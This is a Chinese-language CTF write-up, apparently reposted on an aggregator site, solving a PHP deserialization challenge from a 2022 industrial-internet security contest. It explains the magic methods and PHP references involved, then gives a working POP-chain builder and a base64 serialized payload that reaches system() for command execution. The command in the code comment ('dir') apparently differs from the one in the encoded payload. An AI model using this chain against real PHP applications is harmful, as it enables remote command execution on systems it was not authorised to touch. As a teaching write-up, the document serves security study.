• 使用引用&來給變量賦值
• php反序列化

這道題打的時候沒做出來，賽后看了別人的wp，看到是用引用來賦值，就自己復現出來了。

源碼

<?phpclass KeyPort {public function __call($name, $arguments){if(!isset($this->wakeup)||!$this->wakeup){call_user_func_array($this->format[$name],$arguments);}}public function finish(){$this->format=array();return $this->finish->iffinish;}public function __wakeup(){$this->wakeup=True;} }class ArrayObj{private $iffinish;public $name;public function __get($name){return $this->$name=$this->name[$name];} }class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }if($_GET['u']){unserialize(base64_decode($_GET['u'])); }else{highlight_file(__FILE__); }

首先要先了解一點基本知識

基本知識

1.魔法函數__destruct()、__wakeup()

__destruct

擁有這個的類的對象在反序列化時，會先執行此對象的__destruct再執行此對象的成員屬性的值的__destruct

即先執行外層再執行內層

__wakeup

擁有這個的類的對象在反序列化時，會先執行對象的成員屬性的值的__wakeup再執行此對象的__wakeup

即先執行內層再執行外層

eg:

class A{public $c;public function __destruct(){echo 'A',PHP_EOL;}public function __wakeup(){echo 'a',PHP_EOL;} } class SampleClass {public $a;public function __destruct(){echo 'S',PHP_EOL;}public function __wakeup(){echo 's',PHP_EOL;}} //$a=new SampleClass(); //$a->a=new A; $a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}'; unserialize($a);

輸出

a s S A

2.php引用&賦值

在php中可以使用引用的方式來讓兩個變量名指向同一個內存地址，這樣在對一個變量進行操作的時候，另一個變量的值也會變

在函數中使用引用參數來修改傳入參數的值

eg:

function test (&$a){$x=&$a;$x='123'; } $x='11'; test($x); echo $x;

輸出

123

可以看見，函數外部的變量值也發生了改變

3.魔法函數__get、__call

__get

當類的成員屬性被設定為 private 后，如果在類外部訪問這個成員屬性，那么就會觸發__get()

訪問不存在的成員屬性也會觸發__get

eg:

class C{private $a;public function __get($name){echo $name;} } $c=new C; echo $c->a; echo $c->b;

輸出

ab

__call

PHP5 的對象新增了一個專用方法 __call()，這個方法用來監視一個對象中的其它方法。如果你試著調用一個對象中不存在或被權限控制中的方法，__call 方法將會被自動調用。

<?php class foo { function __call($name,$arguments) { print("Did you call me? I'm $name!"); } } $x = new foo(); $x->doStuff(); $x->fancy_stuff(); ?> //Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!

代碼審計

只看到了call_user_func_array可以利用

關鍵在于如何進入__call且通過這個判斷

if(!isset($this->wakeup)||!$this->wakeup)

要么不給wakeup賦值，要么控制wakeup為false

在反序列化后，會對KeyPort對象的wakeup進行賦值

所以通過引用來在__wakeup執行后還能對wakeup進行賦值

首先觀察到有兩個類可以執行__destruct

class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }

且都執行$this->process->finish()，只是函數代碼不同

可以先讓一個返回false,另一個返回正常值

我們選擇讓SunCorpa的$this->process->finish()返回false

這里使用構造器的方式弄鏈子，否則有點麻煩

POP

class KeyPort {} class MoonCorpa {} class ArrayObj{private $iffinish;public $name;public function __construct(&$a){$this->iffinish=&$a;} }class SunCorpa {public function __construct(){//第一部分，給wakeup賦值false$key=new KeyPort;$arr=new ArrayObj($key->wakeup);//使用這個方式讓ArrayObj::iffinish引用wakeup，因為在后面會給ArrayObj::iffinish賦值，這樣KeyPort::wakeup也會變$arr->name=array('iffinish'=>false);$this->key=$key;$this->arr=$arr;$this->process=$this->key;$this->key->finish=$arr;//第一部分結束，$this->key->wakeup被賦值為false//第二部分，因為在執行KetPort::finish()時，其format會被賦值為空數組，導致無法執行我們想要的函數，所以使用引用的方法來給format賦值$key2=new KeyPort();$moon=new MoonCorpa();//使用這個類的__destruct來進入到KeyPort的__call函數$this->moon=$moon;//讓MoonCorpa對象成為此對象的成員$this->key2=$key2;$this->moon->process=$key2;$arr2=new ArrayObj($key->format);//讓ArrayObj::iffinish引用$key->format$key2->finish=$arr2;$arr2->name=array('iffinish'=>array('forward'=>'system'));//給$key的format賦值為array('forward'=>'system')$this->moon->options=array('new'=>&$this->key);$this->moon->_forward='dir';//要執行的命令 } $a=new SunCorpa(); echo base64_encode(serialize($a)); //Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=

本地執行

成功了，tmd

總結

以上是生活随笔為你收集整理的2022北京工业互联网安全大赛初赛-wakeup的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。